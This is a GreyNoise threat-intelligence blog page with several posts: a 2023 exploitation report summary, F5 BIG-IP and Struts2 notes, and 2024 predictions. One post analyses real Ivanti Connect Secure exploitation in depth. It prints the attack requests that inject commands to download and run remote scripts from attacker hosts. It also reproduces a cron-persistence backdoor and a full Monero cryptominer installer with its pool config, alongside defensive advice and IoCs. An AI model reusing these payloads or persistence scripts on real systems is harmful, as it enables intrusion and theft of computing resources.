Blog
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Decoding Mass Exploitation in 2023: A GreyNoise Perspective

The GreyNoise Labs team recently released a report on stats and trends the research team observed over the course of 2023. Here's a breakdown of some of the key elements gleaned from the data, with much more to be found in the original tome.

Overall Impressions From 2023

In 2023, our massive network of fake computers and services continued to lure attackers into revealing their tactics. Throughout the year, our researchers and platform helped provide many useful insights for the cybersecurity community. We do this simply to make the internet a safer place. This year saw our epic community increasingly institutionalize our observations, with our fellow security vendor partners integrating more of our data than ever. Government agencies and news media regularly cited our observations, a testament to the value of our work.

However, 2023 also marked the first time we directly observed attackers deliberately changing their behaviors to avoid our specific detection capabilities. We also noted that the time between software vulnerabilities becoming public and attackers using them at large scale continues to decrease. Yet, our approach to respond continues to be effective. In 2024, and beyond, we will continue to make our detection network larger and smarter, and share the attacker behaviors we observe with the world as quickly as possible.

Notable Exploits of 2023

Among the 242 Common Vulnerabilities and Exposures (CVEs) we covered in 2023, some stood out for their impact. The Progress MOVEit Transfer SQL Injection Vulnerability (CVE-2023-34362) was exploited by the Cl0p ransomware group, leading to data breaches in over 2.6K organizations and affecting ~90 million individuals. The Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability (CVE-2023-4966; a.k.a., CitrixBleed) allowed threat actors to hijack authenticated sessions, bypassing multifactor authentication and password requirements. And, the PaperCut MF/NG Improper Access Control Vulnerability (CVE-2023-27350) was exploited by the Bl00dy Ransomware Gang, targeting vulnerable PaperCut servers, particularly within Education, but also in other sectors.

GreyNoise and CISA KEV: A Symbiotic Relationship

GreyNoise researchers are huge fans of CISA’s Known Exploited Vulnerabilities (KEV) catalog. In 2023, 67 of our tags had corresponding entries in CISA’s KEV catalog, 34% of which were also known to be associated with ransomware attacks. We meet or beat CISA nearly 63% of the time when it comes to having a published tag for a CVE that enters their catalog. This makes it much easier for federal agencies to meet or exceed remediation time requirements. It’s also helpful in the same way if your organization is tracking with KEV.

The Reality of Spillover in Nation State Conflicts

We cannot let 2023 go into the record books without some mention of the part that nation state conflicts have had on the mass exploitation landscape. The present major conflicts between Russia/Ukraine, Israel/Hamas, and other regional hostilities play out in both kinetic/physical (guns/bombs) and cyber fields. The evolution of nation state conflicts is also putting virtually every organization in the crossfire. No matter where adversaries aim their attacks, GreyNoise is there. No matter how many packets they sling, our systems analyze them instantly, enabling us to identify and communicate even the oddest trends and anomalies.

Want To Learn More?

The GreyNoise platform, including our aforementioned vast sensor network, is designed to identify these probes and attacks with pinpoint precision at the very moment they occur. This gives defenders the tools and data they need to stop attacks before they start, plus buy time to focus on patching, mitigation, and response.

Dive into our report and don't hesitate to drop us a note or question in our community Slack or via email (research@greynoise.io).

The Confusing History of F5 BIG-IP RCE Vulnerabilities

In our latest Grimoire post, Ron dives into the confusing web of F5 BIG-IP vulnerabilities. It all started when he found an untagged shell-injection exploit in Sift that looked like—but wasn't—CVE-2021-22986 (a well-known SSRF bug); it was, however, discussed in many of the same write-ups as CVE-2021-22986. But if it's not the SSRF issue, what IS it? Ron works backward and identifies each of the recent F5 BIG-IP vulnerabilities as they're seen on our sensors and uses some advanced sleuthing skills—including talking to the folks who originally wrote about these issues—to track down the mysterious shell-injection vulnerability.

While investigating old F5 vulnerabilities, he found other interesting bits of history. For example, did you know that the CVE-2021-22986 patch fixed two similar (but different) vulnerabilities? And that neither was the shell injection? Or, did you know that there's an intended method for running Linux commands (as root!) against the F5 BIG-IP management port, which is commonly leveraged by authentication bypass issues? We even demonstrate using that built-in (mis?)-feature to escalate any local user to root.

If you want to know way too much about attacks against F5 BIG-IP devices, then this is the blog for you!

Tags referenced:

CVE-2021-22986 - Authentication Bypass via SSRF

CVE-2022-1388 - Auth Bypass via Header Smuggling

CVE-2021-23015 - Post-authentication RCE via Command Injection


CVE-2022-41800 - Post-authentication RCE via .rpmspec Injection

n/a - Post-authentication RCE via /mgmt/tm/util/bash

Ivanti Connect Secure Exploited to Install Cryptominers

One of my favorite things to do each morning is to look at the significant recent vulnerabilities that I found interesting - right now, my list is Ivanti Connect Secure, Atlassian Confluence, Apache Ofviz, SnakeYAML, etc., to check our honeypots to see if any new exploits have dropped since last time. And oh boy, was I rewarded this morning when I checked Ivanti! The overwhelming majority of what we see daily is scanners scanning honeypots and honeypots luring scanners - a security Ouroborus, if you will - but thanks to our new sensors, we have much more insight into what "real" attackers are trying. Let's see what turned up when I lifted the Ivanti rock this morning!

Note: I'm censoring IPs / users in the requests to defang them, but I included them at the bottom in case you want to block them.

Target

These payloads are all leveraging a pair of vulnerabilities in Ivanti Connect Secure - CVE-2023-46805 and CVE-2024-21887, written about here, and with a public exploit available. You can also see the exploitation picking up on our tag.

Payload 1

Here's the first payload that caught my eye:

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3b%77%67%65%74%20%2d%2d%74%69%6d%65%6f%75%74%3d%32%30%20%2d%2d%6e%6f%2d%63%68%65%63%6b%2d%63%65%72%74%69%66%69%63%61%74%65%20%2d%71%20%2d%4f%2d%20%68%74%74%70%73%3a%2f%2f[ip]%2f%69%76%61%6e%74%69%2e%6a%73%7c%73%68%3b%0a HTTP/1.1
Host: [ip]
User-Agent: curl/7.81.0  
Accept: */*

Which decodes to:

api/v1/totp/user-backup-code/../../license/keys-status/;wget --timeout=20 --no-check-certificate -q -O- https://[ip]/ivanti.js|sh;\n"

As of writing, that file is live and installs a persistent backdoor using cron:

#!/bin/bash
url='https://[ip]/ivanti'
name1=`date +%s%N`
wget --no-check-certificate ${url} -O /etc/$name1
chmod +x /etc/$name1
echo "*/10 * * * * root /etc/$name1" >> /etc/cron.d/$name1
/etc/$name1

name2=`date +%s%N`
curl -k ${url} -o /etc/$name2
chmod +x /etc/$name2
echo "*/10 * * * * root /etc/$name2" >> /etc/cron.d/$name2
/etc/$name2

name3=`date +%s%N`
wget --no-check-certificate ${url} -O /tmp/$name3
chmod +x /tmp/$name3
(crontab -l ; echo "*/10 * * * * /tmp/$name3") | crontab -
/tmp/$name3

name4=`date +%s%N`
curl -k ${url} -o /var/tmp/$name4
chmod +x /var/tmp/$name4
(crontab -l ; echo "*/10 * * * * /var/tmp/$name4") | crontab -
/var/tmp/$name4

while true
do
	chmod +x /etc/$name1
	/etc/$name1
	sleep 60
	chmod +x /etc/$name2
	/etc/$name2
	sleep 60
	chmod +x /tmp/$name3
	/tmp/$name3
	sleep 60
	chmod +x /var/tmp/$name4
	/var/tmp/$name4
	sleep 60
done

Advice: Check for files that look like /etc/<long number>, /tmp/<long number>, or /var/tmp/<long number>, and check your crontab files for odd entries

The payload it fetches is a 64-bit executable:

$ file backdoor 
backdoor: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

What does the backdoor do? Let's take the lazy approach - strings:

$ strings -n10 backdoor
[...lots and lots of junk...]
Usage: ispdd [OPTIONS]
  -o, --url=URL                 URL of mining server
  -a, --algo=ALGO               mining algorithm https://ispdd.com/docs/algorithms
      --coin=COIN               specify coin instead of algorithm
  -u, --user=USERNAME           username for mining server
  -p, --pass=PASSWORD           password for mining server
  -O, --userpass=U:P            username:password pair for mining server
  -x, --proxy=HOST:PORT         connect through a SOCKS5 proxy
  -k, --keepalive               send keepalived packet for prevent timeout (needs pool support)
[...]

Aha, a bitcoin miner!

Payload 2

Next up, this payload:

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bwget%20https%3a%2f%2fraw%2egithubusercontent%2ecom%2fmomika233%2ftest%2fmain%2fm%2esh%20%26%26%20chmod%20%2bx%20m%2esh%20%26%26%20bash%20m%2esh HTTP/1.1  
Host: [ip]  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36  
Connection: close  
Accept-Encoding: gzip

Which decodes to:

/api/v1/totp/user-backup-code/../../license/keys-status/;wget https://raw.githubusercontent.com/[user]/test/main/m.sh && chmod +x m.sh && bash m.sh

Unsurprisingly, m.sh is a shell script:

#!/bin/bash
cd /tmp && wget https://github.com/[user]/test/raw/main/watchd0g && chmod +x watchd0g && ./watchd0g
cd /tmp && wget  https://github.com/[user]/test/raw/main/watchbog && chmod +x watchbog && ./watchbog

Kinda weirdly, the scripts are 64-bit and 32-bit executables:

$ file watch*
watchbog: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
watchd0g: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Both files are UPX-packed (what year is this?), which is fortunately quite easy to unpack:

$ dnf install upx

$ upx -d watchbog 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
  11911882 -   4454800   37.40%   linux/i386    watchbog

Unpacked 1 file.

$ upx -d watchd0g 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
  12519601 -   4741804   37.88%   linux/amd64   watchd0g

Unpacked 1 file.

Those files appear to be written in Go and somewhat obfuscated (or maybe Go always looks obfuscated?) - in any case, the strings command doesn't tell me much other than an SSH private key:

-----BEGIN PRIVATE KEY-----
MC4CAQAwBQYDK2VwBCIEIDWHqbKNp4h9inuerCayD7NO6glM9bnHjB+WcmT2Prfa
-----END PRIVATE KEY-----

Rather than spending a lot of time digging into this, I decided to move on to the next thing. Searching by checksum, it does appear that watchd0g is known malware

Advice: check for /tmp/watchd0g and /tmp/watchbog

Payload 3

And finally, the last payload:

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3b(type%20curl%20&%3E/dev/null;%20curl%20-o%20/tmp/script.sh%20http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh%20%7C%7C%20type%20wget%20&%3E/dev/null;%20wget%20-O%20/tmp/script.sh%20http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh);%20chmod%20+x%20/tmp/script.sh;%20/tmp/script.sh HTTP/1.1  
Host: 128.199.174.6  
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36  
Connection: close  
Accept-Encoding: gzip

Which decodes to:

/api/v1/totp/user-backup-code/../../license/keys-status/;(type curl &>/dev/null; curl -o /tmp/script.sh http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh || type wget &>/dev/null; wget -O /tmp/script.sh http://[ip]:8089/u/123/100123/202401/d9a10f4568b649acae7bc2fe51fb5a98.sh); chmod  x /tmp/script.sh; /tmp/script.sh

And the shellscript it fetches:

$ cat script.sh 
#!/bin/bash

WALLET=45yeuMC5LauAg18s7JPvpwNmPqDUrgZnhYwpQnbpo5PJKttK4GrjqS2jN1bemwMjrTc7QG414P6XgNZQGbhpwsnrKUsKSt5
EMAIL=$2
if [ -z $HOME ]; then
  HOME=/var/tmp/
fi


CPU_THREADS=$(nproc)
EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000))
if [ -z $EXP_MONERO_HASHRATE ]; then
  exit 1
fi

power2() {
  if ! type bc >/dev/null; then
    if   [ "$1" -gt "8192" ]; then
      echo "8192"
    elif [ "$1" -gt "4096" ]; then
      echo "4096"
    elif [ "$1" -gt "2048" ]; then
      echo "2048"
    elif [ "$1" -gt "1024" ]; then
      echo "1024"
    elif [ "$1" -gt "512" ]; then
      echo "512"
    elif [ "$1" -gt "256" ]; then
      echo "256"
    elif [ "$1" -gt "128" ]; then
      echo "128"
    elif [ "$1" -gt "64" ]; then
      echo "64"
    elif [ "$1" -gt "32" ]; then
      echo "32"
    elif [ "$1" -gt "16" ]; then
      echo "16"
    elif [ "$1" -gt "8" ]; then
      echo "8"
    elif [ "$1" -gt "4" ]; then
      echo "4"
    elif [ "$1" -gt "2" ]; then
      echo "2"
    else
      echo "1"
    fi
  else 
    echo "x=l($1)/l(2); scale=0; 2^((x+0.5)/1)" | bc -l;
  fi
}

PORT=$(( $EXP_MONERO_HASHRATE * 30 ))
PORT=$(( $PORT == 0 ? 1 : $PORT ))
PORT=`power2 $PORT`
PORT=$(( 10000 + $PORT ))
if [ -z $PORT ]; then
  echo "ERROR: Can't compute port"
  exit 1
fi

if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then
  echo "ERROR: Wrong computed port value: $PORT"
  exit 1
fi



if sudo -n true 2>/dev/null; then
  sudo systemctl stop .ssh_miner.service
fi
killall -9 xmrig

rm -rf $HOME/.ssh
[ -d $HOME/.ssh ] || mkdir $HOME/.ssh
if ! curl  "http://[ip]:8089/u/123/100123/202401/sshd" -o $HOME/.ssh/sshd; then
  if ! wget "http://[ip]:8089/u/123/100123/202401/sshd" -O $HOME/.ssh/sshd; then
    echo "ERROR: Can't download sshd"
    exit 1
  fi
fi

if ! curl  "http://[ip]:8089/u/123/100123/202401/31a5f4ceae1e45e1a3cd30f5d7604d89.json" -o $HOME/.ssh/config.json; then
  if ! wget "http://[ip]:8089/u/123/100123/202401/31a5f4ceae1e45e1a3cd30f5d7604d89.json" -o $HOME/.ssh/config.json; then
    echo "ERROR: Can't download config"
    exit 1
  fi
fi

chmod +x $HOME/.ssh/sshd


PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
if [ "$PASS" == "localhost" ]; then
  PASS=`ip route get 1 | awk '{print $NF;exit}'`
fi
if [ -z $PASS ]; then
  PASS=na
fi
if [ ! -z $EMAIL ]; then
  PASS="$PASS:$EMAIL"
fi


sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/.ssh/config.json
sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/.ssh/config.json
sed -i 's#"log-file": *null,#"log-file": "'$HOME/.ssh/sshd.log'",#' $HOME/.ssh/config.json
sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $HOME/.ssh/config.json

cp $HOME/.ssh/config.json $HOME/.ssh/config_background.json
sed -i 's/"background": *false,/"background": true,/' $HOME/.ssh/config_background.json

cat >$HOME/.ssh/miner.sh </dev/null; then
  nice $HOME/.ssh/sshd \$*
else
  echo "Monero miner is already running in the background. Refusing to run another one."
  echo "Run \"killall xmrig\" or \"sudo killall xmrig\" if you want to remove background miner first."
fi
EOL

chmod +x $HOME/.ssh/miner.sh

# 创建计划任务

if ! sudo -n true 2>/dev/null; then
  if ! grep .ssh/miner.sh $HOME/.profile >/dev/null; then
    echo "[*] Adding $HOME/.ssh/miner.sh script to $HOME/.profile"
    echo "$HOME/.ssh/miner.sh --config=$HOME/.ssh/config_background.json >/dev/null 2>&1" >>$HOME/.profile
  else 
    echo "Looks like $HOME/.ssh/miner.sh script is already in the $HOME/.profile"
  fi
  echo "[*] Running miner in the background (see logs in $HOME/.ssh/sshd.log file)"
  /bin/bash $HOME/.ssh/miner.sh --config=$HOME/.ssh/config_background.json >/dev/null 2>&1
else

  if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then
    echo "[*] Enabling huge pages"
    echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
    sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
  fi

  if ! type systemctl >/dev/null; then

    echo "[*] Running miner in the background (see logs in $HOME/.ssh/sshd.log file)"
    /bin/bash $HOME/.ssh/miner.sh --config=$HOME/.ssh/config_background.json >/dev/null 2>&1
    echo "ERROR: This script requires \"systemctl\" systemd utility to work correctly."
    echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible."

  else

    echo "[*] Creating .ssh_miner systemd service"
    cat >/tmp/.ssh_miner.service </dev/null
    sudo systemctl daemon-reload
    sudo systemctl enable .ssh_miner.service
    sudo systemctl start .ssh_miner.service
  fi
fi

That appears to install an ssh server, install a .json configuration file, and set up a systemd service, as well as a backdoor in the user's .profile file. Here's the configuration file:

{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": false,
        "host": "127.0.0.1",
        "port": 0,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": 0,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": true,
        "yield": true,
        "max-threads-hint": 40,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "adl": true,
        "cn/0": false,
        "cn-lite/0": false,
        "panthera": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false,
        "panthera": false,
        "astrobwt": false
    },
    "donate-level": 1,
    "donate-over-proxy": 1,
    "log-file": null,
    "pools": [
        {
            "algo": null,
            "coin": null,
            "url": "auto.c3pool.org:19999",
            "user": "45yeuMC5LauAg18s7JPvpwNmPqDUrgZnhYwpQnbpo5PJKttK4GrjqS2jN1bemwMjrTc7QG414P6XgNZQGbhpwsnrKUsKSt5",
            "pass": "default",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
            "algo": null,
            "coin": null,
            "url": "auto.c3pool.org:19999",
            "user": "43uAMN5SYT45ZQqeNS6jkW5ssKjm7N4bmLT5uL49bvxGJnsPywn2zPhQA8nHc9XTGXavrstGj3pFy4geh3dV2x9uM8TfwzJ",
            "pass": "default",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "dmi": true,
    "retries": 5,
    "retry-pause": 5,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "rebench-algo": false,
    "bench-algo-time": 20,
    "pause-on-battery": false,
    "pause-on-active": false

Advice: Check for a systemd service called .ssh_miner, a .profile entry that rusn a miner, or a file called /tmp/script.sh

IoCs

Here are the SHA256 sums of all the files I saw:

  • 0c9ada54a8a928a747d29d4132565c4ccecca0a02abe8675914a70e82c5918d2  backdoor
  • bbfba00485901f859cf532925e83a2540adfe01556886837d8648cd92519c68d  ivanti.js
  • cf20940907be484440e8343aa05505ad2e4d6d1f24ef29504bfa54ade4a8455f  m.sh
  • 8eadb5beeb21d4a95dacd133cb2b934342fcb39fe4df2a8387a0d5499c72450d  watchbog
  • 1e1e94bd2bfd5054265123bf55c4cf6ce87de6692d9329bda4a37e89272356e4  watchd0g
  • 45c9578bbceb2ce2b0f10133d2f3f708e78c8b7eb3c52ad69d686e822f9aa65f  config.json
  • 4cba272d83f6ff353eb05e117a1057699200a996d483ca56fa189e9eaa6bb56c  script.sh

And some file paths:

  • /etc/<long number>
  • /etc/cron.d/<long number>
  • /tmp/<long number>
  • /var/tmp/<long number>
  • m.sh
  • /tmp/watchd0g
  • /tmp/watchbog
  • /tmp/script.sh
  • $HOME/.ssh/config.json
  • $HOME/.ssh/sshd
  • $HOME/.ssh/config_background.json

And the IP addresses / users I observed:

  • 45.130.22.219
  • https[:]//raw.githubusercontent.com/momika233
  • 192.252.183.116

We recommend organizations block IPs that have recently exploited Ivanti. We have published a Gist containing these IPs.

CVE-2022-1471: SnakeYAML Deserialization Deep Dive

SnakeYAML has slithered its way into a deserialization vulnerability, with versions before 2.0 allowing remote code execution when used to parse untrusted input. In this GreyNoise Labs post, Lead Security Researcher Ron Bowes digs into the technical details, drama, and exploits around CVE-2022-1471.  

By default, SnakeYAML allows the instantiation of arbitrary Java classes from untrusted YAML sources. This "insecure by default" design has led to at least eight different vulnerabilities prior to its official designation as a CVE. We'll highlight the unhelpful responses from developers and the importance of secure defaults.

Additionally, we'll demonstrate how to build a vulnerable app and understand how the deserialization actually works, developing an exploit to demonstrate how to achieve remote code execution.

C'mon down for an in-depth look at this critical YAML vulnerability!

Spike in Atlassian Exploitation Attempts: Patching is Crucial

Diverse Set of IPs Exploiting Atlassian Vulnerabilities, Not Just a Few Bad Actors.

At GreyNoise, we focus heavily on analyzing data trends and anomalies, as they form a fundamental part of our business. While we collect a vast amount of data regarding unsolicited packets being transmitted across the internet, it is only meaningful if we look at the bigger picture.

We have recently introduced some changes to our back-end system for calculating the trending and anomalous events we update hourly here. This has already proven beneficial, as it helped us detect a sudden increase in malicious Atlassian exploitation attempts late last week (gee, I wonder why…).

Atlassian-related topics occupy seven out of the top ten trending tag anomalies at the time of this writing.

Digging a bit deeper into our other Atlassian tags, a similar spike appears (just wasn’t enough to make the top 10):

We conducted an analysis on the various spikes and attempted to determine if they were all caused by the same few IPs searching for all possible vulnerabilities. However, our findings suggest a fair distribution of IPs trying to exploit different vulnerabilities. After examining data from the past 24 hours, we found that the highest number of overlapping IPs across all the tags mentioned above was only 9, with 67% of the total IPs seen only once.

As the year ends, ensure your Atlassian products are secure by removing them from the public internet and keeping them up to date. If they’re still unpatched, it likely is too late to avoid compromise. For extra measure, use our dynamic IP blocking feature to protect your organization from opportunistic mass exploitation.

Now time to indulge in some eggnog and downtime!

Weathering 2024: Storm Watch Predictions for the Year Ahead

Dear Storm Watch hosts,

As we approach the new year, I'm curious about what the future holds for cybersecurity. What are your predictions for 2024? Do you have any hot takes on the emerging trends and potential threats in the digital security landscape?

Sincerely,

Curious about Cybersecurity

--

Kimber Duke, GreyNoise Product:

My 2024 hot takes are influenced by the upcoming election year potential for insanity. We know that this year is going to be fraught with geopolitical situations, making for a tumultuous news cycle that will have us feeling exhausted starting in January. We can definitely expect to be overwhelmed by the sheer amount of news coming out about impending threats from nation-state APTs, and I look forward to seeing what kind of influence this election cycle will have on regulations surrounding ICS, IoT, and supply chain. We've nailed the security onion, but how much more can CISA and the government agencies influence technology beyond the everyday user facing situations?

On a lighter and brighter note, I expect in response to rising rates of targeted attacks rather than opportunistic ones, enterprises will have a renewed interest in deception technology. While this might sound self-serving coming from a GreyNoise product manager, you can already see the rise of interest in honeypots at local conference talks, the concept of canaries becoming central to EDR programs, and the idea that maybe we're getting too many alerts on all the wrong things. Deception engineering will be an addition to the 2024 enterprise security stack because it fast forwards to how your crown jewels are most easily exploited and who wants them. 

Finally, 2024 will be the year of high conference attendances. Information sharing is absolutely broken since the downfall of Twitter, and people are looking for how they can keep in touch with everyone whether it be on Discord, Mastodon, or Reddit. I expect a record Defcon attendance year because of this feeling of isolation everyone is experiencing. Taking the time to reconnect with your network and sharing what you know will be crucial since our communities are in an isolated state, but I hope to see more people connecting in person because of our changing communication tides. 

Emily Austin, Censys Research:

I'll start with what is perhaps the most mundane of my predictions. I think back office software will continue to be a popular target for financially-motivated threat actors in 2024. This was the year of file transfer tool hacks, and while I think we'll continue to see fallout and disclosures from these hacks into 2024, I won't be surprised to see other B2B software come into threat actors' sights. Many of these systems are improperly exposed to the Internet, providing a relatively simple initial access vector.

Over the last few years, we've seen geopolitical and hacking events become increasingly intertwined on the global stage, and I think we'll see that continue in 2024. Nation states may be interested in cyber capabilities to gain intelligence or disrupt adversary infrastructure, but I think we'll also continue to see activity from ideologically-motivated hacktivist groups. Volt Typhoon, the IT Army of Ukraine, and the recent attacks on Israeli-manufactured water PLCs are just a few examples that come to mind.

Finally, I'm interested in the effects of AI on misinformation and disinformation campaigns. I'm not convinced AI will make a tremendous difference in the effectiveness of such propaganda, because it's arguably already been quite effective. Rather, I think the availability of powerful AI-driven tools will facilitate actors' ability to generate deceptive content faster, and at a much broader scale.

The TL;DR of my predictions is: a lot more of the same, but turn it up to 11.

Glenn Thorpe, GreyNoise Labs:

In 2024, we will see a continuation of the key cybersecurity trends we observed in 2023. The ongoing kinetic and cyber wars, highly disruptive ransomware campaigns, increased legal scrutiny of the CISO role, and the rapid mainstream adoption of artificial intelligence will all persist. 

However, there will be one major difference in 2024 – an exponential increase in the use of AI across the board. Both attackers and defenders will race to weaponize AI, ushering in a new era of sophisticated threats and defenses powered by machine learning.  

Wartime cyber operations are unlikely to cease even if kinetic conflicts end, as state and non-state actors have heavily invested in offensive capabilities.  They will have a chest full of perishable vulnerabilities ripe for exploitation in the aftermath. While peace treaties may be signed, cyber peace will lag behind.

Ransomware will also continue unabated until the infrastructures supporting it disappear. Cybercriminals will keep using tried-and-tested social engineering tactics as long as organizations and individuals remain vulnerable. Tighter cyber insurance policies will raise the stakes further.

And for those already fatigued by the AI hype cycle in 2023 – brace yourselves. 2024 will see AI go (even more) mainstream as organizations feel extreme pressure to deploy the latest models; in both their own services and in delivering their services. CISOs will undertake a delicate balancing act, racing to enable AI innovation while ensuring robust protections are built-in by design. AI security emerges as a top priority, much like mobile security during the BYOD era.  

The stage is set for an eventful year ahead. As AI transforms both offense and defense, the cat-and-mouse game will intensify. But with careful planning and responsible AI adoption, cyber defenders can gain an edge over attackers in 2024. 

As my hot take: we’re going to be hearing a LOT more about how cyberattacks physically affect quality of life; including loss of life. 

Bob Rudis, GreyNoise Labs:

AI Gone Wild

We've all seen how AI can be a force for good, but in 2024, we're going to see it go further rogue than it has already gone in 2023. Cybercriminals are going to level up their efforts at using AI to launch attacks that are so sophisticated, they'll make the Death Star look like a kid's toy. We're talking deepfakes that are indistinguishable from reality, and spear phishing attacks that could fool even the most vigilant among us. It's going to be like Skynet, but instead of killer robots, we'll have killer emails and deepfakes.

As a slide into the next prediction, we'll also see actors on all sides (internally and abroad) use AI to try to influence the 2024 U.S. POTUS election 

Election Espionage Extravaganza

With the POTUS election coming up, we're going to see nation-state cyber activity go through the roof. But instead of the usual attacks and ransomware, they will focus on espionage and information theft. Think James Bond, but with more keyboards and fewer martinis. The election will be a prime target, with everything from disinformation campaigns to direct attacks on election infrastructure. Unfortunately, this will be all-too-easy thanks to the level of sophistication in even the most banal attacker toolkits today. It's going to be a wild ride.

The Year of the Tattletale

In 2024, organizations will be forced to spill the beans about their cyber breaches. This will be driven by regulatory changes, a spate of at least three-to-five punishing breaches at well-recognized organizations (one of which will impact a major financial services firm and cause major market distress for days), and the realization that transparency is key to maintaining trust and stability. So, get ready for a year of juicy cyber gossip as companies are forced to air their dirty laundry in public.

--

Be sure to tune into Storm Watch every Tuesday to stay up to date on all breaking cyber news and expert insights into emerging threats.

Mining The Undiscovered Country With GreyNoise EAP Sensors: F5 BIG-IP Edition

Over at the GreyNoise Labs Grimoire, Ron Bowes has a new, deep-dive post out on the creation of a simple clone of the F5 BIG-IP management port to attract traffic and analyze it. Ron deployed the honeypot for a couple of weeks and then analyzed the traffic using tshark

Some interesting findings include:

  • Brute-force attacks on the login page with basic credentials like “user123” and “password123”.
  • Attempts to exploit CVE-2021-22986, an SSRF issue in the authentication parser.
  • Traffic targeting the “/mgmt/tm/util/bash” endpoint, which is typically targeted for auth-bypass issues like CVE-2022-1388.
  • Two instances of exploitation attempts targeting the “/mgmt/shared/iapp/rpm-spec-creator endpoint”, which is related to CVE-2022-41800, an authenticated remote code execution vulnerability.

Ron does note that the majority of the traffic is not related to a rumored 0-day exploit, and that the honeypot helped provide insights into various attack attempts and vulnerabilities.

Pour out your fav caffeinated beverage and sink into Ron's insightful post!

A Day In The Life Of A GreyNoise Researcher: The Path To Understanding The Remote Code Execution Vulnerability Apache (CVE-2023-50164) in Apache Struts2

Over on the GreyNoise Labs Grimoire, Matthew Remacle (Remy) digs into the newly disclosed Apache Struts2 CVE-2023-50164 file upload vulnerability. This weakness allows an attacker to drop a web shell that can be called remotely through a public interface over defined routes.

Keep an eye on our new tag for CVE-2023-40164.

Remy's analysis highlights the following key points:
  • Apache Struts2 is an open-source Java web application development framework used in various enterprise-grade applications and business use cases.
  • The vulnerability occurs when a multipart form request is used, and the constraints for path normalization are bypassed.
  • The attacker can inject a web shell (e.g., shell.jsp) into the file system, which can then be remotely called.
  • The exploitation of this vulnerability depends on the specific implementation of Apache Struts2 in a vendor's product and the defined actions' path.

In the coming weeks, GreyNoise and the extended research community are expected to investigate vendor and product-specific implementations leveraging Apache Struts2 to determine the exact path that must be traversed to drop a web shell in those products and call it remotely through a public interface over the defined routes.

Using GreyNoise EAP Sensors For Novel Exploitation Discovery For CVE-2023-47246

In a new GreyNoise Labs’ blog post, researcher Jacob Fisher (a.k.a. h0wdy) explored the use of our new Early Access Program (EAP) dynamic sensors to catch a new proof of concept (PoC) for CVE-2023-47246 — a path traversal vulnerability leading to remote code execution (RCE) in SysAid On-Premise software.

In it, Jacob discusses the importance of reactive honeypots/sensors for obtaining accurate and comprehensive packet captures, along with his methodology for digging into the gory details of real-world service exploitation. This work helped create our new tag for this exploit.

Discover how dynamic honeypots can help you stay ahead of emerging threats, and learn from Jacob’s experience with this novel vulnerability.

CVE-2023-49105, WebDAV Api Authentication Bypass in ownCloud

Have you heard of CVE-2023-49105? While the 10/10 CVE-2023-49103 got all the attention last week, organizations should not quickly overlook CVE-2023-49105!

